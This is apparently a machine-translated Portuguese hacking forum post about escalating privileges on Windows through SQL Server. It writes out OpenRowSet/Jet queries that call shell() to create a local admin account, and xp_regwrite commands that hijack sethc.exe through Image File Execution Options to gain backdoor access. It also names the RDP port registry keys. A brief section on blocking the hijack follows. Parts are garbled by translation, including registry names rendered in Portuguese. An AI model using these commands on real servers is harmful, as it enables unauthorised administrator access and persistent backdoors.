'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 Selecione * do OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Selecione * do OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Verifiquei o sandbox para levantar os direitos sobre essa questão, mas pela minha prática, essa taxa de sucesso é muito baixa, porque a maioria dos servidores deletou c:\windows\system32\ias\ias.mdb. Depois, você pode tentar sequestro de imagem, claro, sequestro de imagem também é condicional, 1 para existir xp_regwrite esse procedimento armazenado 2 é 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Depurador' não é excluído Você pode primeiro perguntar se a tecla fixa do registro foi sequestrada Mestre Executivo... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Se o prompt não encontrar o problema, a prova é excluída, não há como, se solicitado, sethc.exe executar o comando sql Mestre executivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depurador', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Depois de conectar ao terminal 5 vezes e trocar de locação, ele vai direto para a área de trabalho e depois adiciona manualmente.
O registro modifica a porta do terminal
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WDS \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Quanto à prevenção do sequestro de imagens, ela é alcançada principalmente pelos seguintes métodos:
★ Lei de Restrição de Permissão
Se o usuário não tiver mais acesso à chave do registro, não pode modificar essas coisas. Abra o Editor de Registro e vá em HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, selecione este item, clique com o botão direito - > permissões - > avançado, e reduza as permissões do administrador e dos usuários do sistema (aqui você só precisa cancelar a operação de escrita).
★ Método rápido de corte com faca com cânhamo bagunçado
Abra o editor do registro e vá até o bar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opções de Execução do Arquivo Imagem
O problema pode ser resolvido excluindo diretamente o item Opções de Execução de Arquivo de Imagem.
Comando SQL sequestra a instalação de chave fixa do registro xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Depurador','REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'
Download de Software:Turistas, se quiserem ver o conteúdo oculto deste post, por favor Resposta
|